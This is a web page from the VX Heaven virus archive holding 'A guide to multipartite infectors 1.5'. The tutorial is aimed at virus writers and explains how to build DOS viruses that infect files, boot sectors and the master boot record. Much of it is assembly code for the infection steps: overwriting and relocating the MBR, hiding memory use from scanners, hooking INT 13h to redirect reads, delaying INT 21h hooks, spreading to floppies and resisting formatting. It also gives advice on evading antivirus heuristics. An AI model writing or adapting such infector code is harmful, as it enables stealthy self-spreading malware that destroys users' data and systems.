VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

A guide to multipartite infectors 1.5

Lord Julus

[Back to index] [Comments]



The following document is a study. It's only purpose is to be used in the virus research only. The author of this article is not responsible for any misuse of the things written in this document. Most of the things published here are already public and they represent what the author gathered across the years.

The author is not responsible for the use of any of these information in any kind of virus.

				Lord Julus.


First of all, let's start with a little definition. So, what is a multipartite virus ? Let's give a brief description: A Multipartite virus is a COM/EXE/BS/MBR infector. Well, for those of you who know something about this, the definition should be good enough. For those of you new in the business it means a virus capable to infect files and also the Boot Sector (or Master Boot) on a Hard Drive and a Floppy Disk.

Did you ever wondered why your usual COM/EXE viruses don't spread? Well, take a minute to think of it. How many times did you take an executable file from a friend ? I guess not very often. Now with all the games available on CD's, and all the utilities found on the WEB you don't have to use your floppies to 'borrow' executable files from friends. That's why the viruses don't spread. Here I come with the advantages of the Multipartite viruses (hereinafter called 'Multies'):

So, you have to agree with me: a virus present into the boot of a computer, as well as into the files that live on it tend to render toward the perfect virus. Of course, as you will see along, there are many ways, with lots of advantages and disadvantages to do it. So, I'd say I should move on and start with the tutorial. This version of the tutorial is more boot sector related, but in further versions I will include a complete EXE/COM/SYS/BIN tutorial.

Basic notions

Maybe there is a lot of stuff on this written already, but I want to take my share, so I will try to present in an easy way everything involving Multies' creation.

1) Generalities

The data on the Hard Disk or floppy disk is stored using a particular format. This format is called the 'physical sector'.

A physical sector is formed by a tripled:

Cylinder, Head, Sector (CHS)

A 'Track' is a circle described by a 'Head' on a Hard Disk's 'Side'. A 'Cylinder' represents all the tracks with the same radius on the Hard Disk (which are in the same time found under one Head). Usually the Hard Disks have 32 to 1024 cylinders (or tracks on side). The track number is a specific hard determined number and cannot be modified (it's actually determined by the Hard Disk motor characteristics).

A 'Sector': The tracks are divided into circular arcs called sectors. The number of sectors on a Hard Disk is random and is determined when the HDD is formatted and it's determined by different things, especially by the coding scheme, usual values being:

The amount of data storable on a sector is also different, but usually it's 512 bytes per sector.

Usually, the maximum numbers for these are:

The Cylinders are counted from 0 to MaxCYL-1, Heads are numbered from 0 to MaxHead-1, and Sectors are counted from 1 to MaxSect/track.

So, as I said, a 'Physical Sector' is made by a (C,H,S) triplet. The first physical sector is at (0,0,1). In order to get the next physical sector one must increase the sector first until (0,0,MaxSect). After that the Head number increments and the Sector restarts from 1 and this goes on until (0,MaxHead,Maxsect). Finally, the Cylinder is incremented and the other two reset to 0 and 1 and this goes on until (MaxCyl, MaxHead, MaxSect). The number of a physical sector is calculated as follows:

Sector number = (CYL*HEAD*SECT) + (HEAD*SECT) + (SECT-1)

For example the triplet (3, 23, 7) gives the Physical Sector 650.

2) Useful tools

In order to proceed in writing a Multi, you must set up your working place and take a few tools around. What one should do is this:

Now, you're armed. Protect the disk and nothing can happen to your computer! If you screw up, by writing some trash on the HDD, just reboot with the disk and run TBUTIL with the parameter 're' to restore your data. Diskedit is very useful, especially when you want to verify whether your program did write something on the HDD or not. But, however be sure to do not write over the Root Directory Entry because you could loose data. Even if you do that the Norton Disk Doctor might fix the problem.

2) Important areas on the HDD

The important areas to know when starting a Boot related infector are the following:

2.a. The Master Boot Record

2.b. The Boot Record

2.c. The first copy of FAT

2.d. The second copy of FAT

2.e. The entry in the Root Directory

As you will see forward, it's very important to know all these, because each and everyone offers suitable places to store data on the HDD.

2.a) The Master Boot Record

At the Physical Sector 0 (i.e. the triplet (0,0,1)) on the HDD we find the Master Boot Record (MBR). Let's take a peek first at the MBR layout and then explain the stuff:

Master Boot Record Layout:

Offset Length Meaning
000h - 1BEh1BEh Code to load and execute the Boot Record for the active partition
1BEh - 1CDh10h Entry for Partition #1
1CEh - 1DDh10h Entry for Partition #2
1DEh - 1EDh10h Entry for Partition #3
1EEh - 1FDh10h Entry for Partition #4
1FEh - 1FFh02h Partition Table Signature ('0AA55h')

Partition Table Entry Layout

00h 01h If it's 80h than this is the active partition
01h 03h Partition address (head, sector, cylinder)
04h 01h System type (DOS 12bit/16bit/32bit FAT)
05h 03h Partition end address (head, sector, cylinder)
08h 04h Physical sector for partition beginning
0Ch 04h Partition length in sectors

So, as you can see, the length of the MBR is 512 bytes, which means that it takes exactly one sector. Also, notice the signature at the end. That sign there marks that this is a valid partition. Try it out. Change it and the system will say 'Invalid Partition Table'.

When the computer boots, the first thing that is done by the system is to load the MBR at address 0000:7C00 and it runs the code. Let's take a quick look at the code that the system executes upon boot (you can look at it yourself by using Diskedit: Look at Physical Sector 0, and choose only 1 sector too see and then save it using the 'Write to file...' tool to a file named MBR.COM and then use Turbo Debugger on the file to see what you've got). So, the code I disassembled and commented goes like this: (Mention: the operating system I was using at the time was Windows 95 OSR2)

-----------MBR code disassembled by Lord Julus-----------
	xor ax,ax		; Zero register ax
	mov ss,ax		; Stack Segment = 0000h
	mov sp,7C00h		; Stack Pointer = 7C00h
	sti			; Enable interrupts
	push ax			; Now make DS = ES = 0
	pop es
	push ax
	pop ds
	cld			; Clear direction
	mov si,7C1Bh		; And start to copy code from offset 1Bh
	mov di,061Bh		; to 0000:061Bh
	push ax			; put 0 on the stack
	push di			; and put 061Bh on the stack
	mov cx,1E5h
	rep movsb		; Rep when cx >0 Mov [si] to es:[di]
	retf			; Return far (actually jump to 0000:061Bh)

; Here is where the code goes on. This is the 1Bh offset. In this way the
; area at 0000:7C00h is free and ready to receive the Boot Record

	mov si, 07BEh		; The system is about to find the
	mov cl, 4		; active partition table
				; 0 means not active
				; 80h means active (only one can be active)
				; The offset of the first partition table
				; is at 01BEh. SI is aligned to the new
				; offset: 061Bh + 01BEh + 001Bh = 07BEh

locloop_1: 			; CH = 0 here
	cmp [si],ch		; and we take the first byte in the table
	jl maybe_active_part	; Jump if < ch (actually means [SI] could be
				; 80h)
	jnz Error_1		; -> Error !
	add si,10h		; go to the next partition entry (+10h)
	loop locloop_1		; Loop if cx > 0

	int 18h			; go to ROM basic (never actually)

	mov dx,[si]		; DX = active partition number
	mov bp,si		; BP = entry for the active partition

look:				; Since we must have only one active part.
	add si,10h		; here we check to see if there are 2
	dec cx			; marked as active
	jz all_good		; Jump if CX = 0 -> partitions done !
	cmp [si],ch		; [SI] = 0 ?
	je look			; Jump if equal
				; If not equal, there is another partition
				; marked with something else but 0

	mov si,710h		; This points to 'Invalid partition table'
				; actually to the second character and
				; it's aligned at the next instruction

hang:				; When the error message is fully displayed
	dec si			; the program goes into an infinite loop here
				; AL = 0; Lodsb increases SI and here SI
				; is decreased again -> Infinite loop !

display_error:			; This is the Error Display structure
	lodsb			; String [si] to al
	cmp al,0		; 0 marks the end of string
	je hang			; Jump if equal

	mov bx,7		; color: white
	mov ah,0Eh		; Video display function 0Eh
	int 10h			; write char from al, move cursor

	jmp short display_error	; and write another character !

all_good:			; Here we know that we found an active
				; partition table

; Look at the Partition Table Layout to get this right

	mov [bp+25h],ax		; Ax is still 0
	xchg si,ax		; SI = 0
	mov al,[bp+4]		; Load the system type into Al

; Here come some strange checks which find out the system type

	mov ah,6
	cmp al,0Eh
	je loc_10		; First system type

	mov ah,0Bh
	cmp al,0Ch
	je loc_9		; Second system type

	cmp al,ah
	jne loc_12		; Third system type
	inc ax

	mov byte ptr [bp+25h],6 ;
	jnz loc_12		; Jump if not zero

	mov bx,55AAh		; About to check the installation of
				; IBM/MS extensions

; The next is an undocumented INT 13 which returns:
; CF set if error
; CF clear if ok, plus:
; BX=0AA55h
; AH = major version of extensions
; (01h = 1.x, 20h = 2.0/EDD-1.0, 21h = 2.1/EDD-1.1)
; AL = internal use
; CX = API subset support bitmap
; DH = extension version (v2.0+ ??? -- not present in 1.x)
; Bitfields for IBM/MS INT 13 Extensions API support bitmap:
; Bit Description (Table 0196)
; 0 extended disk access functions (AH=42h-44h,47h,48h) supported
; 1 removable drive controller functions (AH=45h,46h,48h,49h,INT 15/AH=52h)
; supported
; 2 enhanced disk drive (EDD) functions (AH=48h,AH=4Eh) supported
; extended drive parameter table is valid
; 3-15 reserved (0)

	push ax			; save ax
	mov ah,41h
	int 13h			; Undocumented installation check
	pop ax			; and restore ax

	jc loc_11		; Jump if error -> extensions not supported

	cmp bx,0AA55h		; now compare
	jne loc_11		; Jump if not equal -> not installed

	test cl,1		; check if extended disk access functions
	jz loc_11		; are supported

	mov ah,al		; if we are here then the extensions are on
	mov [bp+24h],dl		; DL holds the drive number !
	mov word ptr ds:61Ah,1EEBh ; mark this here... ??

	mov [bp+4],ah		; rewrite the system type
	mov di,0Ah		; di = 0Ah

; Now the system begins to load the Boot Record at 0000:SP (7C00h)

	mov ax,201h		; prepare to read from drive
	mov bx,sp		; at ES:SP
	xor cx,cx		; Zero register
	cmp di,5		; di > 5 ?
	jg loc_14		; Jump if >
	mov cx,[bp+25h]		; otherwise, set in cx the cylinder and sector

	add cx,[bp+2]		; and increase the sector
	int 13h			; Now read 1 sector to ES:BX
				; al=1, ch=cyl, cl=sector, dh=head (0)
	jc loc_17		; Jump if carry Set -> some error
	mov si,746h		; this points to 'Missing operating system'
	cmp word ptr ds:7DFEh,0AA55h ; check if the Partition Signature is there
	je loc_21		; Jump if equal -> OK
				; the BOOT RECORD is loaded ! Jump to it

sub di,5			; otherwise decrease DI
	jg loc_13		; and try again. I guess all this stuff is
				; trying to find the right sector.

	test si,si		;
	jnz display_error	; Jump if not zero to error procedure
	mov si,727h		; This points to
				; 'Error loading operating system'
	jmp short loc_7		; go to error procedure

	cbw			; convert byte to word
	xchg cx,ax		; exchange these
	push dx			; save DX
	cwd			; convert word to doubleword
	add ax,[bp+8]		; Now add this double word that holds the
	adc dx,[bp+0Ah]		; number of the physical sector for the
				; Partition table start
				; And we have it into DX:AX

	call sub_1		; Go on
	pop dx			; restore DX
	jmp short loc_15	; If we are here then definitely there was
				; an error

loc_17:				; Here we come if there was a read error.
	dec di			; decrement number of retries
	jz loc_16		; Jump if zero to errors
	xor ax,ax		; Now reset the disk
	int 13h			; reset disk, al=return status

	jmp short loc_13	; and try again

	add [bx+si],al		; this must be some crap...
	add byte ptr [di+56h],15h ; useless I mean.

	push si			; save SI and
	xor si,si		; Zero register
	push si			; save SI
	push si			; again twice
	push dx			; and all the rest
	push ax
	push es
	push bx
	push cx

	mov si,10h		; SI = 10h = 16
	push si			; save it
	mov si,sp		; SI = Stack Pointer
	push ax			; Push the Dword at DX:AX
	push dx

; the stack looks like this: SI,0,0,DX,AX,ES,BX,CX,10h,AX,DX

; Another Extended undocumented function
; IBM/MS INT 13 Extensions - EXTENDED READ
; AH = 42h
; DL = drive number
; DS:SI -> disk address packet
;Format of disk address packet:
;Offset Size Description
; 00h BYTE 10h (size of packet)
; 01h BYTE reserved (0)
; 02h WORD number of blocks to transfer
; 04h DWORD -> transfer buffer
; 08h QWORD starting absolute block number
; (for non-LBA devices, compute as
; (Cylinder*NumHeads + SelectedHead) * SectorPerTrack +
; SelectedSector - 1

	mov ax,4200h		; Extended read function
	mov dl,[bp+24h]		; DL = Drive number
	int 13h			;

	pop dx			; Restore this
	pop ax

	lea sp,[si+10h]		; Load effective addr
	jc loc_20		; Jump if carry Set -> error

	inc ax			; Increment the DWORD at DX:AX
	jnz loc_19		; Jump if not zero
	inc dx
	add bh,2		; and add a 2 to bh each time
	loop locloop_18		; Loop until CX = 0

	clc			; Clear carry flag
	pop si			; This doesn't make much sense. From my calc

; the stack looks like this: SI,0,0,DX,AX,ES,BX,CX

	retn			; this jumps to the old CX ??

loc_21:				; this contains the error table
	jmp short loc_22	; and a jump over it
	db 'Invalid partition table', 0
	db 'Error loading operating system', 0
	db 'Missing operating system'
	db 37 dup (0)

loc_22:				; When we reached here it means
				; that everything went OK. Now the
				; Boot Record is loaded and the
				; MBR is about to run it

	mov di,sp		; DI = stack pointer
	push ds			; put DS:DI on stack
	push di
	mov si,bp
	retf			; Return far (actually jmp DS:DI)
				; which is a jump to the Boot Record

	db 52 dup (0) ; empty space

				; Here starts the Partition Table
	db 80h			; Active partition marker
	db 01h			; Partition: Start Head
	db 01h			; Sector
	db 00h			; Cylinder
	db 06h			; System Type
	db 0Fh			; Partition: End Head
	db 0FFh			; Sector
	db 38h			; Cylinder
	db 3Fh, 00h, 00h, 00h	; Number of Physical Sector
	db 31h, 0B0h, 0Ch, 0	; Length of Partition in sectors
	db 48 dup (0)		; the other partitions don't exist
				;Total 40h bytes in the Partition Table

	db 55h,0AAh		; and the sign

----------MBR source over-----------

As you could see, all the code above does this:

If there is no correct partition table the 'Invalid partition table' error appears. If the system can't read (for various reasons) from the disk, the 'Error loading operating system' error pops up. Finally, if the Boot Record is not found then the 'Missing operating system' error is displayed.

This is already a lesson about what you can really do in the MBR. As you saw, interrupts can be called when in boot. But only the interrupts between 0 and 1Fh are available (you noticed that the errors are displayed using the graphic interrupt 10h). In fact, during this phase, the interrupts can be hooked, memory can be allocated, there can be reads and writes to disk, and so on. But we'll discuss this later.

2.b) The Boot Record

The Boot Sector is the one loaded by the MBR into memory and the one to receive the command. After the MBR checks if everything is ok, this is where it jumps:

Boot Sector Layout

Offset Length Meaning
00h - 02h 03 A JMP instruction to the loading sequence
03h - 0Ah 08 The name and version of the OS
0Bh - 0Ch 02 Sector size in bytes
0Dh 01 Cluster size in bytes
0Eh - 0Fh 02 Reserved sectors until the first FAT copy
10h 01 Number of FAT copies
11h - 12h 02 Number of directory entries in the ROOT
13h - 14h 02 Total sectors on disk (or partition)
15h 01 Disk type
16h - 17h 02 FAT size in sectors
18h - 19h 02 Sectors on cylinder (track)
1Ah - 1Bh 02 Number of heads (sides)
1Ch - 1Fh 04 Hidden sectors

What are we interested in are the BPB and the Extended BPB with useful information. The meaning of BPB is 'BIOS Parameter Block'. The jump to the loading sequence is a jump that goes directly to load the operating system.

2.c) Other

Usually on the HDD there coexist 2 copies of the FAT (File allocation table). They have a specific length that can be found in the BPB (sectors per FAT) and the second important value to know is sector per cluster (or allocation unit). The two copies of the FAT are one after the other. The second copy of the FAT is only to prevent the loss of data. Somebody could write the data here and then stealth by redirecting the reads from the second FAT copy to the first FAT copy (remember that NDD tells the user if the FAT copies are not the same). The bad thing about this is the hard way of finding the place of the second copy and reading it only using the INT 13. After the FAT, the next thing on disk is the Directory Entry into the Root. You also have data about this in the BPB. A good place to hide something here is at the end of the Root Entry (e.g. at end of root entry - virus size). I will speak a little later about this stuff.

Going deeper

Now that we know all the basic stuff, here is the first question that pops in mind when writing a boot or multi virus: Where do I store my code? Here are the places I can think of:

  1. In the MBR itself
  2. In the Boot itself
  3. In the root directory entry
  4. In the second FAT copy

1. Infecting the MBR

Up above you have an almost complete description of the code into the MBR. So, the MBR is located at Physical Sector (0,0,1). The Boot Record can be found at (0,1,1), but this is true only if the first partition is active. If there are more than 1 partitions and another one is active, you should check and see the address of the Boot Record for that partition. Anyway, between (0,0,1) and (0,1,1) we have 62 free sectors. That would make an amount of 62 * 512 = 31744 bytes, more than anyone could desire for his virus.

The infection of the MBR can be done in 2 ways:

  1. Save the original MBR in the free zone and put the viral code in it's place then read it from the free zone
  2. Alter the original MBR making it to load the virus instead of the Boot Record and make the virus itself to load the Boot

The first method requires from you to put in the 510-th byte of the virus the sequence '0AA55h' in order to mark this as a valid partition table. Second of all, the system can no longer be booted from a floppy disk. If you boot using method a) from a floppy disk and try to change the drive to C, you will get 'Invalid drive specification'. This problem can be solved easily: simply start your virus like this:

	jmp over_partition
	db 18h dup (0)		; 1bh - 3 bytes (the jmp opcode)
	db 1E5h dup (0)		; the rest until 200h
	...			; the rest of virus

When the virus is about to write itself over the original MBR all it has to do is copy all the stuff from 1BEh until 200h at the part_table address. In this way we have the partition table in its place and the drive C is accessible also if booted from floppy disk. I would say that this approach is one of the best. The virus is not obvious (because the drive C works), but it's easier to remove (also because drive C is accessible). Here you must combine the Int 13h with special anti-tunneling routines, otherwise an AV product may trace the Int 13h and go around your stealth routines.

Actually this code is not quite ok... That's because when the system boots it only loads exactly 1 sector (e.g. 200h bytes). This means that the JMP over_partition will jump after the 200h bytes, e.g. somewhere into the void! In order to really fix this we should do something like this:

	jmp realstart
				;(variables here)

;(go resident part here) -> ES = new segment for virus

	mov ah, 02h		; load the entire virus from MBR/BS
	mov al, sector_len	; to the new segment (ES) at offset
	mov dh, 0		; 0, as the system only loads one
	mov cx, 1		; sector and the virus occupies more
	mov bx, 0
	int 13h

	push es
	lea ax, go_in_new_segment ; start over in the ES segment
	push ax			; to free up the 007ch area

old_partition_table db 200h dup (0) ; this area is needed to preserve the
				; partition table

Of course, in this way, the beginning of your virus will look like this:

(1) | Virus loader         | --> this should be smaller then 1BEh bytes
(2) | 200h bytes reserved  | --> the reserved area for partition table
(3) | Rest of virus        | --> and the rest of the code goes here
    :                      :
    :                      :

After the loading of the virus into the new segment and the jump to the new segment we find ourselves in the (3) zone. Here we make a read of the original MBR from where we save it and we put it entirely into the (2) zone. But, in order to have the correct partition table, we must shift up the (2) zone with an amount that equals the length of the (1) zone. The process can be described very well like this:

In this easy way, the partition table is 'aligned' so the first 200h bytes end with a valid partition table. More, some parts of the original MBR still stay on (depends on how much you can optimize the virus loader) and many AV will confuse it with a valid MBR. Personally I tried with the above method on TBAV and it didn't flag anything. Of course, you need to use some strange approaches in order to hide your code.

2. Infecting the Boot

This is seems easier then the MBR infection because there are no checks done by the system. But, again, you must determine correctly the address of the boot record. Otherwise the system will hang. What you need to do is to save the original Boot in a free area and then paste your viral code over the boot. The MBR will load your virus when the computer boots and will give it the control. After the virus is over with it's job it should load the original boot from the free zone and jump to it.

3. The real way to do it

Now let's get closer and analyze a little what your virus should exactly do when it starts. First, let's do not forget that we are talking about Multipartite Viruses here. This means that our virus should be able to 'live' in the Boot areas and in the files as well. The usual way to check if you are in boot or in a file is to check the word at PSP:0000 like this:

	cmp word ptr es:[0], 20CDh ; this is the marker for a
	je in_file		; valid PSP

	... (boot sequence)
	... (file sequence)

First let's take a look at the 'in boot' part.

Let's assume this is a MBR replacer virus. This means that it saves the original MBR somewhere else and now it stays at Physical Sector 0. The system loads it and it is given command. The first thing usually done is the set up of the stack. Now, this is not really necessary, but it's done anyway:

	xor ax, ax
	mov ss, ax
	mov sp, 7C00h

As you can see, the MBR does this itself. It's not really necessary, but we need it in order to make some comparitions later. Like, for example if you choose not to use many flags, later you can compare SP with 7c00h and if it's equal, then you are in boot.

The next thing to do here is to reserve some memory for the virus. We assume that the Para_vir_len variable was set, like this:

Para_vir_len = (finish - start)/8 ; virus length in paragraphs.
				; We divide by 8 instead of 16
				; because we need double space
				; in memory !

	xor ax, ax		; reserve memory for virus
	mov ds, ax		; by substracting
	mov ax, Para_vir_len
	sub word ptr ds:[413h], ax ; the virus length
	int 12h			; get memory in paragraphs
	shl ax, 6		; make it in bytes
	mov es, ax		; ES = new segment
	mov cx, finish-start	; length of virus
	push cs			; set the source
	pop ds
	mov si, 7c00h
	mov di, 0
	rep movsb		; ds:si > es:di

This works if your virus is only one sector length. If it's more than one sector, simply reserve memory and then read the virus to ES:0. This particular part is very important. Almost any MBR scanner will notice the decreasing of the word at 0000:0413 (which is the BIOS address where the total available memory is hold), and will pop up a warning. I figured out a nice way to do this:

Notice that 0F0F5h + 131Eh = FFFF0413h (as a doubleword) but as a word it's exactly 0413h!

Now the copy of our virus is in memory at ES:0. There is no need to stay in the 0000:7C00 area because anyway we must start loading the real MBR there. Therefore we'll do this:

	push es			; put the new segment on stack
	lea ax, new_segment	; and the IP where to jump
	push ax
	retf			; and simulate a return far

and we go on with the code but into the new segment we've got. Before starting to load the real MBR we must first hook the interrupts we need and especially the disk interrupt INT 13h. So:

	mov ax, word ptr ds:[13h*4] ; save INT 13's vector
	mov word ptr cs:[oldint13], ax
	mov ax, word ptr ds:[13h*4+2]
	mov word ptr cs:[oldint13+2], ax

	lea ax, newint13	; and set new INT 13h
	mov word ptr ds:[13h*4], ax
	mov ax, es
	mov word ptr ds:[13h*4+2], ax

We'll talk later about the newint13 handler.

Now we can already start to load the MBR from the free zone. This is done simply by using the 02h function. And we read the original MBR at the end of our code in memory:

	mov ah, 02h		; read original MBR
	mov al, 01h		; 1 sector
	mov dl, 80h		; from HDD
	mov dh, 00h		; head 0
	mov cx, 01h		; cyl 0, sector 1
	push cs
	pop es
	lea bx, finish		; at ES:BX
	int 13h

Now, BX is at the end of virus. We add to it an offset where we have a marker defined like this:

Marker db 'xx' ; where 'xx' can be any combination of chars

	add bx, offset marker
	cmp word ptr cs:[bx], 'xx'
	je already_infected

Let's assume for now that yes, the HDD is infected. So, if the HDD is already infected we do this:

Already_infected:		; this part is common to in_boot
	cmp cs:[inboot], 1	; and in_file modes so we check
	jne exit_file		; and if it's file we exit the file

Load_old_boot:			; otherwise

	mov ah, 0		; first we reset the drive
	mov dl, 80h
	int 13h

	mov ah, 02h		; and then we read
	mov al, 01h		; one sector
	mov dl, 80h		; from HDD
	mov dh, 00h		; head 0
	mov cx, 01h + sector_len ; cylinder 0, sector = 1+sector_len
	push 0
	pop es
	mov bx, 7c00h		; at 0000:7C00
	int 13h

	db 0EAh			; and here we have JMP 0000:7C00
	dw 7c00h		; i.e. jump to the original MBR
	dw 0000h

I hope all is clear. The only thing to talk about would be the sector_len variable. A complicated virus tends to go beyond 5K in these days. This means that there's no way your virus will fit into 512 bytes, e.g. on one sector. This means you'll have to write your virus on more than one sector. But, how many ? Look at this:

sector_len = (finish - start + 1FFh) / 200h

If (finish - start) is <= 200h the result of the above formula is 1.

If (finish - start) is > 200h but <= 400h the above gives 2, and so on. Example:

(188h + 1FFh) div 200h = 1 sector

(220h + 1FFh) div 200h = 2 sectors

(1000h + 1FFh) div 200h = 23 sectors

So, this gives you the length of your virus in sectors. Let's take a look at the infected HDD (sl = sector_len):

.--------------------. ---. ---.
| C:0, H:0, S:1      |    |    .-- This is where the orig. MBR was once
.--------------------.    | ---'
| C:0, H:0, S:2      |    |
'--------------------'    .------- And now this is where the virus is
......................    |
.--------------------.    |
| C:0, H:0, S:sl     |    |
.--------------------. ---' ---.
| C:0, H:0, S:sl+1 | .-- Here is the where the MBR was moved
'--------------------' ---'

Now let's see what should happen if the HDD was clean in order to infect it. First:

	mov ah, 03h		; write bytes
	mov al, 01h		; 1 sector
	mov dl, 80h		; on HDD
	mov dh, 00h		; head 0
	mov cx, 01h + sector_len ; cylinder 0, sector = 2+sector_len
	lea bx, finish		; from the end ! (where we have
	int 13h			; a copy of the MBR)

	mov ah, 03h		; this part simply copies
	mov al, sector_len	; sector_len sectors
	mov dl, 80h
	mov dh, 00h
	mov cx, 01h		; at (0,0,1)
	lea bx, start		; from the beginning of virus
	int 13h

This is how the things work when you are in boot. Let's take a look at the other part now: in_file. This is easier than you think:

	call go_resident
	jmp over_now

Go_resident:			; here we have ANY kind of resident
	...			; code which leaves in ES the
	ret			; new viral segment.
				; The Int 21 hooking should take place
				; here too.

	push es			; and here we jump to the common
	lea ax, new_segment	; part of the in_file and in_boot
	push ax

What we have more related on the file infection is: we have the INT 21 handler which is used to catch executable files (any kind and in anyway), and the exit_file procedure which gives the control back to the host. Of course, INT 13 must be also hooked when 'in file', because the MBR must be stealthed. And, of course, we must use some kind of tunneling techniques against TSR blockers.

As everybody knows, hooking INT 21h from a file is a piece of cake. We cannot say the same thing when you are in the Boot. There you have NO INT 21h, so you have nothing to hook ! You must wait for the system to load completely and then act. This is done easy by using the INT 08, e.g. the time interrupt. Hook this interrupt in boot and set a counter. After, let's say 2 minutes start to hook the interrupts. The Int 08 is called every 55ms, or 18.2 times per second. So for a delay of 1 second you must set a compare value of 18 and decrease it until it's 0. To have a one minute delay, the compare value should be 60*18.2 = 1092, and for 2 minutes 2184.

The Int 08 could look like this:

	call dword ptr cs:[oldint08]
	cmp word ptr cs:[time], 0
	je start_to_hook
	dec word ptr cs:[time]

time	equ	2184

This solves the problem of hooking int 21h from the boot. Now, let's take a look at the INT 13h, the heart of the boot infector. Here we do all our stealthing. It should look like this:

	cmp ah, 02h		; a read ?
	je check_more
	jmp no

	cmp dh, 0		; head 0 ?
	jne no
	cmp cx, 1		; cylinder 0, sector 1 ?
	jne no
	call dword ptr cs:[oldint13] ; then do the reading
	call check_infect	; a call to a routine that should save
				; all the register, check if the MBR
				; at ES:BX is infected. If not, infect
				; it.
	mov cx, 01h + sector_len ; then redirect read or write
				; to where the original MBR is
				; and read it again !
	jmp dword ptr cs:[oldint13]

We should also check if someone is trying to write to the MBR and redirect the write to the place where the original MBR is.

So, if someone is trying to read from the MBR or write on the original MBR this procedure redirects the action to where the real MBR is saved. This offers a lot of strength: As the partition table is no longer there, the disk in invisible if booted from a floppy. But if it's booted from HDD, the virus is resident and the reads and writes are stealthed. There are two more functions one stealth routine should hook:

These work almost like 02h and 03h with this difference: 0Ah reads one or more sectors plus 4 more bytes representing the ECC (error correction code) code for that sector. Same for 0Bh. Also, one must take care of the 05h function - format track, and do not allow the formatting of the tracks where the virus and the original MBR is. I didn't try this, but it should work. In this way, the virus stays on even if the HDD is formatted.

3) Other ways

As I said above, it is possible to write whatever you want to save on the HDD by putting the data in the second FAT or after the directory entry. The first FAT can be found and accessed via INT 25h/26h, with DX=1 (usually) and the second FAT can be found with DX = 1 + Sectors/FAT. After a number of sectors equal to 1 + 2*Sectors/FAT we have the directory root entry. However I would not recommend using these two areas. First because in order to infect you need to use interrupts 25h and 26h, which are disabled in Windows 95 and because of the data loss that may occur. Therefore, I would say that the space after the MBR is the best place to put your data

More to it

One issue that everybody should be aware of is that MBR heuristic analyzers are very good these days. This means that if you decide to make a Partition Table non-remover, leaving the Drive C accessible when booted from floppy disks, you should consider a good encryption algorithm with some anti-heuristic routines. This is done as easy as it's done in files:

Another very important thing is to have the virus infect floppies. Actually this is the most important thing because it assures the virus' spreading. In order to infect a floppy disk the things go exactly like when writing a MBR mover for HDD. On floppy disks there is no partition table, therefore no MBR. The Boot Layout is the same. In order to save the original boot one should do this:

Now you have the first free sector after the Root Directory Table. There is a perfect place to save the original Boot on that sector. Knowing that when INT 13 is called the DL register holds the drive (80h if HDD) you can do some comparisons and make a separate procedure for infecting different kind of floppies. If you want your virus to be faster, figure out the sector you should write the boot to and consider that it's always the same (for example I have a 18 sectors/track with 224 directory entries floppy, with the directory entry area being at C:0, H:0, S:1. So 224*32/512 = 14. This means that from (0,1,14) I have a free area where I can copy the original boot.

You can also choose other areas to put the original copy of the boot on, like for example on the last cylinder, last head, last sector and then mark that sector as BAD.

One thing about floppy disks: Beware to save the original 20h bytes and leave them intact on the floppy. There we have the Boot Record. If you put trash there, the disk won't be readable. You can even destroy the disk forever if you put a 0 in the Sectors/Track. If you do this and try to access the floppy there is no program on Earth that will be able to read your diskette. You'll get a 'Divide Overflow' or 'Division by 0' and you can send the floppy disk on a nice trip towards the trashcan...

The Future

As for the future, what can I say ? God knows... Anyway, a while ago some guy came up with a very neat technique to read/write from/to HDD using only the HDD ports. It was absolutely beautiful! But when Windows 95 came along it all gone astray... This was the ultimate technique: to be able to simulate the Int 13 by doing what the Int actually does. In W95 the ports are mapped in a strange way, the interrupts don't work and everything is messed up. Anyway, the possibilities are still grand, but the thing we must think of is that we need a 'change'. A change of conception. We must start looking at the code now from a 32 byte point of view, we must forget about segments and start looking at selectors and so on... Anyway, as programmers say: "You know, there's always a leak !"

Final word

There were some very interesting tutorials written on the Boot infectors, but I always felt they don't make the perfect distinction between the Boot and the MBR. I can remember here Qark's tutorial, Executioner's, and of course one of the first, Dark Angel's tutorial to Boot viruses. Well, hoping that I wasn't very redundant in my writings I hope you all learned something from it. If any of you come over a mistake I made in my writing I would appreciate your help. (e-mail me at: [email protected]). Thanx.

You can always find my articles at:

All the Best to U and all,

Many thanx go to: Qark, Quantum, Dark Angel, Executioner, Mr.Sandman, Darkman, Hellraiser, Dark Avenger

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka